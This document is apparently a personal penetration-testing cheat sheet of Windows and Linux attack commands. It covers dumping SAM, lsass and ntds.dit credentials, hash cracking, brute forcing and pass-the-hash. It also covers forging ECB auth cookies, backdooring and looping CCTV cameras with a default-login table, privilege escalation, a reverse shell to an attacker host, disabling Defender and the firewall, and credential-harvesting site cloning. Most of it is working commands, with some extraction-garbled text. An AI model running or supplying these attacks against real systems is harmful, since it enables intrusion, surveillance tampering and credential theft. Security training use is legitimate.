C:\\Windows\System32\config :Security Account Mngr file location

C:\\Windows\System32\ :lsass.exe location

HKLM\Security\Policy\Secrets :use LSASecretsDump

hklm\sam :system hive registry

hklm\security :security hive registry

hklm\system :system hive registry

Wordlists

locate wordlists :rockyou.txt,sqlmap/txt/wordlist popular

/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwrd :Kali WL

/usr/share/wordlists :Kali WL

locate password.lst :john

’

s password list

C:\Program File (x86)\Cain :Windows-Cain word list

www.skullsecurity.org/blog/?p=549 :Ron Bowes-leaked pass files

fonlow.com/zijianjuang/kpa :Windows Dictionary Generator tool

cat wordlist.txt|sort|uniq > dictionary.txt :remove duplicate entries from wordlists

wc l /tmp/password.lst :count # words in list

Create Wordlists by Scraping Websites (Kali)

Cewl www.site.com

–

m 6

–

w results.txt :scrape site

Cat cewl.txt|wc

–

l :view results

Head cewl.txt

John

–

-wordlist=cewl.txt -

–

rules

–

-stdout > mutate.txt:mutate pwds

Nano /etc/john/john.conf :edit john config

*scrape starting lineup of local sports teams; for IT targeted systems generate

wordlists from Star Wars, Lord of the Rings, Dr. Who, etc

Create Wordlists with Crunch (Kali)

crunch 6 6 01234567890ABCDEF -o crunch1.txt : wordlist containing 0-9 and A-F

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

crunch 8 8 -t ,@@^^%%% : 1 uppercase, 2 lower case, 2 special

chars, 3 numeric

Modify Wordlist to Fit Password Policy

cat /tmp/password.lst | pw-inspector

–

m 6

–

c 2 > /tmp/custom_list.lst

Rainbow Tables

rtgen :http://project-rainbowcrack.com

precomp :http://sourceforge.net/projects/ophcrack

shg (relies on py-smbpasswd) :www.nosneros.net/hso/code/shg

py-smbpasswd :http://barryp.org/software/py-smbpasswd

www.freerainbowtables.com :pregenerated set

Ophcrack (smaller free sets) :http://lasecwww.epfl.ch/~oechslin/projects/ophcrack

Windows Credentials Harvester – Run From USB

Snadboy Revelations :Can run off USB as standalone exe

meterpreter > hashdump :use hashdump to get SAM & cached creds

HKLM\Security\Policy\Secrets (LSA Secrets) :use LSA SecretsDump to harvest

Creddump (www.oxid.it/creddump.html) :harvest Microsoft Credential Manager

Password Brute Force Over the Network

hydra

–

l <user> -p <password> <ip> ssh :use users from enumeration

hydra

–

L <userlist> -p <pass_file.txt> <ip> ssh :use users from enumeration

ncrack

–

user <user> -P <pass_file.txt> rdp://ip :works well RDP

medusa

–

h <ip> -u <user> -P <pass_file.txt> -M http

–

m DIR:/admin

–

T 10

FTP Brute Force

msfconsole

–

search auxiliary type: auxiliary login

use auxiliary/scanner/ftp/ftp_login

show options

set PASS_FILE /root/passwords.txt

set USERPASS_FILE /root/users.txt

set RHOSTS <ip>

run

Enum SMB Password Guessing (Jordan Ritter

’

s enum)

enum

–

u <user> -f <wordfile> <target_ip> :over the network, NTLMv1 only

attacker: secpol.msc, Local Policies/Security Options/Network Security: LAN Mgr Auth

level/ Set to Send LM & NTLM responses

About SAM, LAN Manager, & NTLM

Windows stores passwords in SAM. Up to Windows 2003, Windows stores LAN Manager and

NTLM. LM Hashing is very weak, passwords longer than 7 chars split into 2 strings and

each part is hashed separately. It is also converted to upper case before hashed, and

does not use salts making rainbow tables easy. From Vista/Server 2008+, the Windows OS

disables LM and uses NTLM.

NTLM is still not salted though, and you can use a pass-the-hash with NTLM.

SAM cannot be copied while Windows is running. In memory attacks can be mounted though.

Note that with admin privs we can dump SAM db but with regular user privs we can dump

current user SAM from memory (PtH).

The has will look Guest:501:ABC:123::: You want to copy the ABC:123 portion. LM hash is

the one before the semicolon and the NT hash is the one after the semicolon. Starting

with Windows Vista and Windows Server 2008, by default, only the NT hash is stored.

Extract Hashes From SAM Locally (Windows)

fgdump.exe :Attempts to kill AV, in memory

pwdump.exe :in memory attack

samdump2 /mnt/XXX/WINDOWS/system32/config/system /mnt/XXX/WINDOWS/system32/config/sam

Ophcrack :to crack or just pass the hash

SAM hive: (%SystemRoot%\system32\config)

Fgdump :successor to pwdump6

Pwdump7 :dump SAM hashes, works across Windows

Gsecdump :dump SAM hashes, works across Windows

PWDumpX :Does not work on 64 bit

reg.exe save hklm\sam C:\temp\sam.save :save system hive registry

reg.exe save hklm\security C:\temp\security.save :save security hive registry

reg.exe save hklm\system C:\temp\system.save :save system hive registry

secretsdump.py

–

sam sam.save

–

security security.save

–

system system.save LOCAL

:get hashes of accounts & LSA secrets

*Then crack or Pass the Hash

Extract Password Hashes from RAM (Windows)

PEPacker (i.e. UPX) :Package wce ifto help not get caught by AV

wce -o output.txt :Windows Credential Editor and output to file

wce64.exe -w :dumps cleartext passwords, can steal NTLM from memory

procdump.exe

–

accepteula

–

ma lasass.exe C:\windows\temp\lsass.dmp 2>&1

:dump lasass.exe process to file

GUI Alternative: Task Manager/right click lsass.exe/Create Dump File

mimikatz.exe log

“

sekurlsa:minidump lsass.dmp

”

skurlsa::logonPasswords exit

:dump creds using mimikatz

Extract Password Hashes Remotely (Windows)

Ettercap

fgdump.exe :have to run .exe but disables AV

pwdump6 <target_ip> <file> <user> :admin privs; potentially crash lsass

–

pwdump 2/3 send passwords back over cleartext

pwdump7 :dump passwd from local system not

memory, runs locally on system,automatically dumps SYSKEY and uses to decrypt SAM

meterpreter

–

compromise then

“

user priv

”

“

hashdump

”

“

run hashdump

”

mimikatz.exe or mimikatz meterpreter extension :pulls from lsass in memory

Sniff challenge/response from network-LANMAN chall/response, NTLMv1/2, Kerberos

Extract Password Hashes From Domain Controller

On domain controller use VSS to retrieve ntds.dit :safer than extracting from memory

VSSOwn :create copies even if locked

cscript vssown.vbs /status :see if VSS running

cscript vssown.vbs /start :start VSS if not running

cscript vssown.vbs /create /c :create a snapshot

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit

ntdsbackup.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM

systembackup.bak

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM

sambackup.bak

cscript vssown.vbs /stop :if it wasn

’

t running stop it

Then use Csaba Barta

’

s forensics analysis suite to extract hashes-ntds_dump_hash

Hash Identification

john 127.0.0.1.pwdump

Hash-identifier

Crack LM Hashes

john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

Crack NTLM Hashes (aka NTHash)

Obtained by dumping SAM database or using Mimikatz

You CAN use pass the hash

john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

Crack NTLMv1 Hashes (aka Net-NTLMv1)

Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh

You CANNOT use pass the hash

john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

Crack NTLMv2 Hashes (aka Net-NTLMv2)

Obtained by dumping SAM database, Mimikatz, or Responder or Inveigh

You CANNOT use pass the hash

john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 3 hash.txt

Hash Cracking (Windows)

john

–

-rules -

–

wordlist=/usr/share/wordlists/~.txt 127.0.0.1.pwdump

hashcat :multithreaded cracking tool

oclhashcat :GPU cracking w/ATI/NVIDIA -30x faster

Hash Cracking (Linux)

unshadow <pass_file.txt> <shadow-file.txt> :first combine

unshadow <pass_file.txt> <shadow-file.txt> > unshadowed.txt

john

–

-rules -

–

wordlist=/usr/share/wordlists/~.txt unshadowed.txt

*Remember to delete john.pot

John the Ripper: SSE2 Capable

–

r /opt/john-1.8.0 /tmp/john-sse2 :copy john to tmp folder

cd src

make clean linux-x86-sse2 :assuming we are 32 bit

cd /tmp/john-sse2/run/ :cd into dir we made sse2 john

./john

–

-test :test showing much faster than normal

./john /tmp/hashfile.txt :start running SSE2 john

./john

–

-show /tmp/hashfile.txt :show current cracked passwords

cat john.pot :show all cracked passwords

John Jumbo Version

http://www.jedge.com/wordpress/2009/11/john-the-ripper-w-jumbo-patch/

Additional support for John; example needed to crack user.MYD (mysql) file

Crack with Rainbow Tables Using Ophcrack

ophcrack :command to run ophcrack

select xterm :terminal

cd /mnt/live/mnt/hdc/slax/ophcrack/tables; ls :review ophcrack tables

select tables button & then a table :choose your rainbow table

select load then PWDUMP :load our password dump

select Launch :if issues then reload tables

shutdown

–

h now :shut down ophcrack after

Outsource Cracking Hashes

Moxie Marlinspike :$17 to crack password in 20 minutes

Physical Access to Machine (Linux Boot Discs)

Win Admin Password Reset:

http://pogostick.net/~pnh/ntpasswd :WinNT

–

Win 8.1, lose access to EFS keys

Linux Root Password Reset:

Boot original install disks to linux rescue, mount file system, counts are maintained

by default in /var/log/faillog, reset using faillog

–

u <login>

Kon-Boot boot disc :woks on Windows and some Linux

Pass the Hash

Pass the Hash (MetaSploit psexec)

./msfconsole :start

use exploit/windows/smb/psexec :psexec mod (needs admin creds)

set PAYLOAD windows/meterpreter/reverse_tcp :

set RHOST; set LHOST; set SMBUser :

set SMBPass <LANMAN>:<NT> :Pass the Hash

exploit

Pass the Hash

export SMBHASH:

…

:then do next cmd

*Replace any NO PASSWORD LM hashes with empty LM hash

pth-winexe

–

U administrator //<ip> cmd :to gain a command prompt

pth-<tab> :shows all pass the hash tools

wce

–

l (lists hashes avail)

–

s (insert cred into memory)

–

d (remove creds)

Pass the Token

wce

–

K (list tokens)

–

k (option to inject)

Using PowerShell Empire

Link

Encryption Exploitation

Electronic Code Book Exploit Without Decrypting (Example of PHP Site using ECB for authentication)

ECB description, splits into blocks of X bytes length, each block encrypted separeately

XKCD ECB reference

Detecting Weakness

Decode using the following Ruby code:

% irb

> require 'base64' ; require 'uri'

> Base64.decode64(URI.decode("<string>")) :where cookie auth=<string>

OR decode URI to string manually and then base 64 decode

echo "OR9hcp18+C1bChK10NlRRg==" | base64 -d | hexdump

–

C :cookie auth=

”

OR9hcp18+

…

Rg=="

Finding patterns in the cookie

Create 2 accounts with same password, then compare the cookies and look for patterns

Base 64 decode after

Create a user with long username/password, do 20

“

”

s for both.

Base 64 decode then look for patterns. In our example, we see the pattern repeated

after 8 bytes meaning the ECB encryption uses block size of 8 bytes.

Also since the pattern is not completely repeated we see it is using a delimiter.

This means the stream is either user-delimiter-pass or pass-delimiter-user.

Create another user with a long user and short password to see how it is parsed.

Find size of delimiter

Create username/passwords of varying lengths to find the size of the delimiter. In our

example we see combined user/password lengths of 5,6,7 bytes give a cookie length of 8

bytes, but user/password lengths of 8&9 give cookie length of 16. Previously we found

that the block size is 8 bytes, we know the delimiter is 1 byter.

Testing which part of cookie is used

In this example we see that if we remove everthing after the delimiter it will still

authenticate.

You could try to generate admin: but in this example the web app prevents this attack

Exploit the vulnerability

Create a username that contains 8 characters followed by the word admin (aaaaaaaaadmin)

Once decoded it looks like \x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3

In our previous example with 20

“

”

s remove \x1AL\xD23k\xCA\x1D\xD7.

So the new cookie looks like: \xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3, but remember to re-

encode.

*To remove the bytes and convert back and forth you can use this online decoder/encoder

Ruby Script to Encode:

irb

> require 'cgi'; require 'base64'

=> true

> CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3"))

=> "4FZkLily63oHT8ZkGeMr4w%3D%3D"

In Fiddler drop the old packet in Composer, replace the auth= string with the new value

Exploit by Swapping Blocks Around (More difficult)

Our example assumes SQL backend, and some dbs using VARCHAR will allow spaces after

user

–

example

“

admin

’

gives same result as

‘

admin

‘

Goal is to end up with ECB(admin [separator]password)

Use a username composed of password (8 bytes) followed by 7 spaces (1 for delimiter)

Use a password of admin followed by 3 spaces.

This way each block is 8 bytes long.

Use Burp to intercept and make sure browser didn

’

t remove the spaces.

Use Burp with decoder to swap first 8 bytes with last 8 bytes.

CCTV Systems

Looping Surveillance Cameras (Defcon 23 Presentation)

How To

Live Editing of Network Software

*note uses an active tap in the middle

MitM Attack to Modify TCP Streams (Web Traffic) on the Fly

sudo python2 run_sandwich.py

show

add link eth

help eth

eth list

add eth ip

add ip tcp

tcp help

tcp list

load graphs/cloud2butt.py :replaces

“

cloud

”

with

“

butt

”

show

Flip Images in Web Traffic

run_sandwich.py

–

continued

del eth

load graphs/imageflip.py

Replace Video Stream

For video RTP/TCP is the protocol whereas the previous example intercepted HTTP, also RTSP, RTCP, RTP/UDP

run_sandich.py --continued

del eth

load graphs/record.py

show :should have link/eth/ip..etc

–

recorder and

–

rtsp

load graphs/subtle.py :modifies feed on the fly to show as example

recorder start loop.h264

recorder status :shows how many packets recorded

recorder stop

load graphs/loop.py :loads loop but timestamp still goes in circles

load graphs/timestamp.py

Binwalking the firmware Updates (older Tutorial by Benjamin Tamasi)

How To (Older, but in English) Updated Notes Later

nmap scan showed port 23 open on DVR

downloaded firmware .bin update

file romfs.img :showed us that it was a PPCBoot image

binwalk

–

Me firmwareUpgrade.bin :you can automate the whole process this way

cd firmwareUprade.extracted/ :navigate to extracted system

ls; cd cramfs-root/; cat etc/passwd

alternatively binwalk

–

S romfs.img | grep root gives a bunch of strings from extracted files, and gives us location of root

file firmwareUpgrade.bin :showed us that its basically a zip file

on windows rename to .zip but in linux did unzip firmwareUpgrade.bin, gave us .img files

binwalk romfs.img :tells us 64 bit header, data CRC is also important because we could do custom

updates ourselves to the firmware without telnet access to the current OS

hexdump

–

C romfs.img :shows us a little more readable than cat command does, but we need to strip out first 64 bits of header

dd bs=1 if=romfs.img of=romfs.out skip=64 :cut out first 64 bits and rename it romfs.out

file romfs.out :shows us stripping out first 64 bit header gives us a linux file system

mount

–

o loop romfs.out /tmp/foo :mount our firmware upgrade w/stripped out header

cd /tmp/foo :check out our mounted fw upgrade

cat /etc/passwd :shows root passwd hash (embedded linux doesn

’

t use shadow often)

*copy to john

’

s hashlist, then john.exe hashlist.txt

–

(cmd is in windows)

oclhashcat cracked faster for Ben

THEN

ls; cd mnt; cd mtd; cd Config; cat Account1 :showed us telnet password

’

s hash

mount :/mnt/mtd shows rw, meaning we can change the password

rm Account1 (then reboot) :deletes account file which will set back to factory default (blank)

*or in later example rm -rf /mnt/mtd/* to reset camera to factory

ReverseTCPShell:

msfconsole

use linux/armle/shell_reverse_tcp

set LHOST 192.168.1.107

set SHELL /bin/sh

generate -f backdoor -t elf

use exploit/multi/handler

set PAYLOAD linux/armle/shell_reverse_tcp

set LPORT 4444

exploit # :)

VIDEO STREAMS

kill -SIGSTOP pid # pid of fvideoencoder :freeze the video stream

kill -CONT pid # pid of fvideoencoder :unfreeze the video stream

mount -t cifs -o username=GUEST,password=p //192.168.1.107/smb /mnt/samba :mount smb share

Umount and remount /mnt/web from a samba share (here we have rw access, we can modify anything without damaging the device)

Replacing Video Feed with a Loop Like In Mission Impossible

Updated Notes Later (much better, but in Hungarian



) & supporting docs

# Needed: apt-get install cramfsprogs, mtd-utils, upx-ucl

# Default passwords, guest account left on

telnet: xmhdipc, xc3511, rockTeco, vizxv

rtsp://192.168.1.108:554//user=admin_password=_channel=1_stream=0.sdp

# System info.... cd around /proc/cpuinfo, /proc/stat, bins

# Mount Samba (CIFS) share:

mount -t cifs -o username=GUEST,password=p //192.168.1.107/smb /mnt/samba

# Dump flash

dd if=/dev/mtdblock0 of=/mnt/samba/mtdblock0 bs=4096

# Dump Memory

dd if=/dev/mem of=/mnt/samba/ram bs=4096

# We get a segfault, but we got some handy info

# binwalk flashdump

# extract flashdump (cramfs, jffs2)

sudo cramfsck -x output 0.cramfs

jffs2reader mtdblock7 # -d: directory, -f: cat out file

jffs2dump mtdblock7

# mount jffs2 image

modprobe mtdram total_size=65536 # also erase_size=128

modprobe mtdblock

modprobe jffs2

dd if=mtdblock7 of=/dev/mtdblock0

mount /dev/mtdblock0 /mountpoint -t jffs2

# U-Boot bootargs:

strings mtdblock1

# bootargs = Linux Kernel Boot Arguments

# Web Server fun

# check open ports

netstat -l

# netstat does not have the option -e, we use instead:

cat /proc/net/tcp | grep :0050 # 0050 is port 80 in hex

# get inode info: 3896

# Check process for inode 3896

ls -l /proc/939/fd | grep 3896 # Sofia

# Map Open ports to processes

# ========= TCP ================

# 23 - telnetd # Telnet Server

# 80 - Sofia # HTTP Server

# 554 - Sofia # RTSP Stream

# 8899 - Sofia # SOAP (ONVIF?)

# 9527 - (???)

# 34561 -

# 34567 - Sofia # ONVIF (Media Port?)

# 34599 - Sofia #

# ========= UDP ================

# Metasploit Fun

msfconsole

use linux/armle/shell_reverse_tcp

set LHOST 192.168.1.107

set SHELL /bin/sh

generate -f backdoor -t elf

use exploit/multi/handler

set PAYLOAD linux/armle/shell_reverse_tcp

set LPORT 4444

exploit # :)

# Video fun (Replacing the RTSP Stream)

# replace values in mt.js "rtsp://"

# Compile our own software for the device

#compile with arm-gcc:

arm-linux-gnueabi-gcc -march=armv5te -mtune=arm926ej-s -msoft-float -mfloat-abi=soft -o helloworld helloworld.c

Script:stream.sh

#!/bin/sh

# -----------------------------------------

echo "VLC RTSP Stream script"

sudo vlc-wrapper -I telnet --telnet-password vlc --rtsp-host 0.0.0.0:554 --vlm-conf vlc.conf

Support configuration file for script above: vlc.conf

new batman vod enabled

setup batman input batman.mp4

Support configuration file for script below: webcam.conf

new batman vod enabled

setup batman input v4l2:///dev/video0:v4l2-standard=PAL:v4l2-dev=/dev/video0 output "#transcode{vcodec=h264}"

Script: webcam.sh

#!/bin/sh

# -----------------------------------------

echo "VLC RTSP Stream script"

sudo vlc-wrapper -I telnet --telnet-password vlc --rtsp-host 0.0.0.0:554 --vlm-conf webcam.conf

Common Logins

Camera Manufacturer

Username

Password

Default IP

3xLogic

admin

12345

192.0.0.64

ACTi

Admin or admin

12345/123456

192.168.0.100

American Dynmics

admin

Admin/9999

192.168.1.168

Arecont Vision

admin

no set password

no default/DHCP

Avigilon

admin

no default/DHCP

Avigilon (newer)

Administrator

<blank>

no default/DHCP

Axis

root

pass or no set

password

192.168.0.90

Basler

admin

192.168.100.x

Bosch

service

192.168.0.1

Bosch

Dinion

no set password

192.168.0.1

Brickcom

admin

192.168.1.1

Canon

root

Model# of camera

192.168.100.1

CBC Ganz

admin

192.168.100.x

Cisco

no default

no set password

192.168.0.100

CNB

root

admin

192.168.123.100

Costar

root

unknown

Dahua

admin

192.168.1.108

Digital Watchdog

admin

192.168.1.123

DRS

admin

1234

192.168.0.200

DVTel

Admin

1234

192.168.0.250

DynaColor

Admin

1234

192.168.0.250

FLIR

admin

fliradmin

192.168.250.116

Foscam

admin

[leave blank]

unknown

GeoVision

admin

192.168.0.10

Grandstream

admin

192.168.1.168

GVI

Admin

1234

192.168.0.250

HIKVision

admin

12345

192.0.0.64

Honeywell

administrator

1234

no default/DHCP

IOImage

admin

192.168.123.10

IPX-DDK

root

Admin or admin

192.168.1.168

IQInvision

root

system

no default/DHCP

JVC

admin

Model# of camera

no default/DHCP

LTS Security

admin

12345/123456

192.0.0.64

March Networks

admin

[leave blank]

unknown

Merit Lilin Camera

admin

pass

no default/DHCP

Merit Lilin Recorder

admin

1111

no default/DHCP

Messoa

admin

1234/Model# of camera

192.168.1.30

Mobotix

admin

meinsm

no default/DHCP

Northern

admin

12345

192.168.1.64

Panasonic

admin

12345

192.168.0.253

Panasonic

admin1

password

192.168.0.253

Pelco

admin

no default/DHCP

PiXORD

admin

192.168.0.200

PiXORD

root

pass

192.168.0.200

QVIS

Admin

1234

192.168.0.250

Samsung Techwin

root

4321 or admin

192.168.1.200

Samsung Techwin

admin

4321 or 1111111

192.168.1.200

Sanyo

admin

192.168.0.2

Sentry360

Admin

1234

192.168.0.250

Sony

admin

192.168.0.100

Speco (older)

root/admin

192.168.1.7

Speco (newer)

admin

1234

192.168.1.7

StarDot

admin

no default/DHCP

Starvedia

admin

no set password

no default/DHCP

Toshiba

root

ikwb

192.168.0.30

Trendnet

admin

192.168.10.1

UDP

root

unknown

Ubiquiti

ubnt

192.168.1.20

W-Box

admin

wbox123

192.0.0.64

Wodsee

admin

[leave blank]

unknown

Verint

admin

no default/DHCP

VideoIQ

supervisor

no default/DHCP

Vivotek

root

no set password

no default/DHCP

Privilege Escalation

Windows Privileged Services Commonly Exploited

csrss.exe :controls interactions within user mode

winlogon.exe :logs users on

lsass.exe :authorization checks

SAM database :

Privilege Escalation in Linux (Ubuntu Example)

ssh user @ip :you have a logon user but no root priv

cat /etc/issue :example, we see 32 bit Ubuntu

uname

–

a :we found the kernel version

*Look on exploit database to find 32 bit kernel exploit called mempodipper.c

wget -0 linklocation :run on target machine; get exploit code

gcc exploit.c –o exploit :compile code to binary file on target

file exploit :properties

id :properties

./exploit :run exploit

cat /etc/shadow :use root priv to view logons

*Many exploits unstable and can cause crashes

Setgid Root Privilege Escalation (Unix #30)

sudo

–

l :in this example root on /usr/bin/passwd

ls -l /usr/bin/passwd :look for s in permissions for setgid

sudo -u victim cp /bin/bash /tmp/foo :old exploits could copy bash

cd /tmp

sudo -u victim chmod +xs foo :set the gid bit

ls -ltrh :check for the s bit set for setgui

whoami

exit

vi bar.c :create the following C file

int main(void)

{

system("cat /home/victim/key.txt");

}

gcc -o bar bar.c :compile the C code

sudo -u victim cp bar /tmp/foo :copy the file as victim

sudo -u victim chmod +xs foo :add the setgid bit

–

ltr :check to make sure s for setgid bit

./foo :run program you compiled then copied

Sudo Misconfig Privilege Escalation Using Perl Access (Unix #31)

sudo -l :in this example we can run perl

sudo -u victim perl -e 'print `cat /home/victim/key.txt`'

:perl can use back ticks to run cmds

Alternative method:

Note the following will receive permission denied:

sudo -u victim perl -e "print `cat /home/victim/key.txt`"

So you would have to do the following:

sudo -u victim perl -e '`/bin/bash`'

cp /home/victim/key.txt /tmp/.key

chmod 777 /tmp/.key

cat /temp/.key :note you will not be able to view

exit

cat /tmp/key :now you can view

Sudo Misconfig Privilege Escalation Using Python Access (Unix #32)

sudo

–

l :check permission, example gives python

sudo -u victim python :run python as user victim

>>>import os

>>>os.system('uname')

>>>os.system('cat /home/victim/key.txt')

alternatively

>>>from subprocess import call

>>>call(['cat', '/home/victim/key.txt'])

Sudo Misconfig Privilege Escalation Using Ruby Access (Unix #33)

sudo -l :check permission, example gives python

sudo

–

u victim ruby

–

‘

`id`

’

:single quote outside, backtick inside

sudo -u victim ruby

–

e 'puts `cat /home/victim/key.txt`'

alternatively

sudo -u victim ruby -e 'require "irb"; IRB.start(__FILE__)'

>puts `id`

>puts `cat /home/victim/key.txt`

Sudo Misconfig Privilege Escalation Using JavaScript (node) Access (Unix #34)

sudo -l :check permission, example gives /usr/local/bin/node

sudo -u victim node -e 'var exec = require("child_process").exec;

exec("cat /home/victim/key.txt", function (error, stdOut, stdErr) {

console.log(stdOut);

});'

Privilege Escalation in Windows (XP/Server 2003 Exploit Example)

*We use the MS11-080 Afd.sys privilege exploit

Wget -0 ms11-080.py http://linklocation :download exploit onto a windows box

*The exploit was written in python, most Win don

’

t have, so we have to install pywin32-

218,and also unzip pyinstaller to our Windows box

*Save exploit under pyinstaller directory (ms11-080.py)

Python pyinstaller.py

–

onefile ms11-080.py :compile .py to .exe

*once compiled find under ms11-080/dist

*host in web root folder on linux box so that we can download it on target windows box

*To download it on our target Windows box, IE then ip/ms11-080.exe

Ms11-080.exe -0 2K3 :run exploit on target box, get prompt

whoami :quick check once prompt

net user backup backup /add :add user

net localgroup administrator backup /add :add backup to local admin group

Privilege Escalation using Enlightenment Exploit Pack (for Linux)

run_null_exploits.sh :then choose 1-6 for exploits

run_nonnull_exploits.sh :then choose 1-6 for exploits

Privilege Escalation using Meterpreter (for Windows)

use priv :loads priv module

getsystem :attempts to get system priv

hashdump :pull hashes from memory

run hashdump :pull hashes file system in registry

getuid :make sure getsystem worked

ALSO

getprivs :pull additional privs using existing

load kiwi :loads Mimikatz 2

creds_all :kiwi command to pull passwds from mem

Privilege Escalation in Windows (Weak Service Permissions Example)

icalcs scsiaccess.exe :in Windows check permissions

*In Kali we take the following script useradd.c:

#include <stdlib.h>

Int main {}

{

Int I;

I=system (net localgroup administrators lowpriv /add

”

);

Return 0;

}

i586-mingw32msvc-gcc useradd.c

–

o useradd.exe :compile our c file to windows exe

file useradd.exe :file properties

cp useradd.exe /var/www/ :copy to web directory to share w/Win

*Win box go to IE, http://kali_ip/useradd.exe :pull down from kali web directory

Move scsiaccess.exe scsiaccess.exe.orig :archive old exe we are exploiting

Copy C:\..\Downloads\useradd.exe scsiaccess.exe:Note our cmd prompt is in the scsi fldr

*Next time service restarted or computer restarted the service will run the new script

Services.msc :Windows services;

Privilege Escalation in Linux (Weak Service Permissions Example)

find / -perm -2 !

–

type l

–

ls 2>/dev/null :Search system for world writable files

nano /etc/cron.hourly/cronjob.sh :example cron job with full privileges

bash

–

I >& /dev/tcp/kali_ip/443 0>&1 :Add line in script for nc connection

–

lvp 443 :Set up netcat listener on kali machine

id :on the listener see what privs we have

Escalate From Bash to Terminal Access (Install Telnet on Windows)

pkgmgr /iu:

”

TelnetServer

”

:install package, if fails try next cmd

dism /online /Enable-Feature /FeatureName:TelnetServer :if 1st install

command fails try this one

sc query tlntsvr :check if service is running

sc config tlntsvr start=demand :a disabled svc cant be started

sc start tlntsvr :start telnet server

net user <user> <pass> /add :for a pen test create disposable

net localgroup TelnetClients /add :some Win vs require this

net localgroup TelnetClients <user> /add :add user to the group

netsh advfirewall firewall add rule name=

”

Allow TCP 23 dir=in action=allow

remoteip=<ip> protocol=TCP localport=23 :punch a hole in the host firewall

run gettelnet <options> :meterpreter script that does same

Escalate From Bash to Terminal Access (Enable RDP)

sc query termservice :see if RDP is running

sc config termservice start= demand :change so we can manually start

sc start termservice :start RDP service

reg add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnections

/t reg_dword /d 0 :allow terminal svcs connections

netstat

–

na | find

“

:3389

”

:see if RDP is listening

net user <user> <pass> /add :disposable account for pentest

net localgroup

“

Remote Desktop Useres

”

<user> /add :put account in RDP group

netsh advfirewall firewall add rule name=

”

Allow RDP

”

dir=in action=allow remoteip=<ip>

protocol=TCP localport=3389 :punch a hole in the firewall

Run getgui <options> :meterpreter script that does same

VNC Access Inject Into Memory

meterpreter > run vnc <options> :must have meterpreter payload

Bash to Terminal Escalation in Linux (Python required on Target)

python

–

“

import pty

”

; pty.spawn(

‘

/bin/sh

’

);

”

:pty is terminal capabilities

Bash to Terminal Escalation in Linux (enabling sshd/telnetd)

useradd

–

u 0 <user> :add user with root priv - pentest

echo <password> | passwd

–

stdin <login> :some linux needs non-UID 0 to ssh

service sshd start :invoke ssh on systems w/svc cmd

/etc/init.d/sshd start :start ssh on system w/no svc cmd

telnet:

ps aux | grep inetd (or xinetd) :chck to see if process running

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd :if inetd is used

grep telnet /etc/services :if no line for 23 add it

kill

–

HUP <processID> :afer changes reread the config

Bash Workaround for accessing system with Privileges of Another Account

runas /u:administrator cmd.exe :use schtasks /? Or at /?

su/ sudo/ :use crontab to schedule a job

Disable Group Policy / Windows Defender / Windows Firewall

Disable Group Policy

cmd

REG add "HKLM\SYSTEM\CurrentControlSet\services\gpsvc" /v Start /t REG_DWORD /d 4 /f

<OR>

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gpsvc\start :change to

“

”

First need to take ownership <cmd would be takeown & icacls)

Stop Group Policy Client:

net stop gpsvc

Disable Windows Defender

REG add "HKLM\ SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware" /v

Start /t REG_DWORD /d 1 /f :1=disable;0=enable

Disable Windows Firewall

netsh advfirewall set allprofiles state off

Gaining An Initial Foothold

Recon-ng

recon-ng :start recon-ng

use recon/domains-contacts/whois_pocs :employee names & emails plugin

use recon/domains-vulnerabilities/xssed :existing XSS vulns

show options :show variables

set SOURCE cisco.com :run

SQL Injection

Sqlmap

–

u http://ip

–

-crawl=1 :enumerate web pages

Sqlmap

–

u http://ip/comment.php?id=738

–

-dbms=mysql

–

-dump

–

-threads=5 :extract

Database Exploitation Against Web Server with Remote Command Shell

Sqlmap

–

u http://ip/comment.php?id=739

–

-dbms=mysql

–

-os-shell

Nmap Scan

nmap

–

PA <ip> -f

–

D192.168.1.5,172.69.84.3

–

-spoof-mac 0:nmap SYN scan

nmap

–

sT <ip> :OS, services, enum

SQL Scan, SSH Scan, FTP Scan

*Refer to FingerPrint / Scanning Page

Open VNC Scan (Often)

msfconsole :open metasploit

use auxiliary/scanner/vnc/vnc_none_auth :scanner for unauthenticated vnc

set RHOSTS <ip> :set ips

Open X11 Scan (Legacy, Highly Vulnerable)

msfconsole :open metasploit

use auxiliary/scanner/x11/open_x11 :scanner for X11 servers

set RHOSTS <ip> :set ips

set THREADS 50

run

Enumeration

nbtscan

–

r <ip/cidr> :identify NetBIOS info

enum4linux

–

v <ip> :enumeration tool in Kali, user names, shares

net use \\<target_ip> :attempts a null session

net use \\<target_ip>\<sharename> :shares such as IPC$,ADMIN$,C$

enum

–

S <target_ip> :list of shares (IPC$,ADMIN$,C$)

enum

–

U <target_ip> :list of users

enum

–

G <target_ip> :list of groups and member acconts

Password Cracking

Hydra

–

L <userlist> -P <passlist> <ip/cidr> ssh :create userlist from enumeration

Finding a Vulnerability and Exploiting

nmap

–

P0 <target_ip> :nmap detailed scan

nmap

–

script=smb-check-hs

–

P0 <ip> :vulnerability check

msfconsole :after finding a vulnerability

search <MS# or service> :search for exploits

use exploit/windows/smb/ms08_067_netapi :set your exploit

set PAYLOAD windows/meterpreter/reverse_tcp :show PAYLOAD shows options

show targets :in this case OS specific

set TARGET 3 :3 corresponds to the OS

set RHOST <target_ip> :define target

set LHOST <attacker_ip> :your ip

set LPORT <attacker_port> :your port to receive on

show options :make sure your variables good

exploit

Exploiting Through Social Engineering

cd /pentest/exploits/set :social engineering toolkit

./set

2 :website attack vectors

3 :credential harvester method

2 :site cloner

